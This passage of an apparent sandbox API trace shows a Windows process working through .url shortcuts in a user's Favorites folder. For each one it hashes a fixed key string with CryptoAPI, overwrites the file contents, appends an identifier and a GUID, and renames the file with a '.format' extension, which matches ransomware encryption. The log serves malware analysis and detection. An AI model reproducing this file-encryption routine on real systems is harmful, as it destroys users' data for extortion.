szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.651] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.651] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.651] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.651] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.651] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.651] GetLastError () returned 0x0 [0067.651] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.651] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.651] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.651] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.651] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x80, lpOverlapped=0x0) returned 1 [0067.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.651] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.651] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.651] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.651] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.651] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.651] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.651] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.652] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.652] CloseHandle (hObject=0x5c8) returned 1 [0067.652] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0067.652] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0067.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0067.652] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.format")) returned 1 [0067.653] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.653] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.654] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0067.654] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0067.654] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.654] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0067.654] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.654] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0067.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.654] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.654] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.656] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.656] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.657] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.657] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.657] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.657] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.657] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.657] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.657] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.657] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.657] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.658] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.658] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.658] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.658] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.658] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.658] GetLastError () returned 0x0 [0067.658] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.658] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.658] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.658] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.658] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x80, lpOverlapped=0x0) returned 1 [0067.659] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.659] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.659] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.659] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.659] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.659] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.659] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.659] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.659] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.659] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.659] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.659] CloseHandle (hObject=0x5c8) returned 1 [0067.660] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0067.660] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0067.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.format")) returned 1 [0067.660] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.660] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.661] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0067.661] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0067.661] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.661] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0067.661] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.661] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0067.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.662] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.662] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.665] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.666] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.667] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.667] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.667] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.667] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.667] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.667] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.668] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.668] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.668] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.668] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.668] GetLastError () returned 0x0 [0067.668] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.668] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.668] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.669] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x80, lpOverlapped=0x0) returned 1 [0067.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.669] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.669] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.669] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.669] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.669] CloseHandle (hObject=0x5c8) returned 1 [0067.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0067.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0067.670] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.format")) returned 1 [0067.671] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.671] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.672] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0067.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0067.673] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.673] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0067.673] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.673] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0067.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.674] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=134) returned 1 [0067.674] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.677] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.677] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.678] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.678] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.678] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.678] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x86, lpOverlapped=0x0) returned 1 [0067.678] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.678] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.678] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.679] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.679] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.680] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.680] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.680] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.680] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.680] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.680] GetLastError () returned 0x0 [0067.680] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.680] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.680] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.680] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.680] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.680] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.680] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x81, lpOverlapped=0x0) returned 1 [0067.680] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.680] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.680] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.680] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 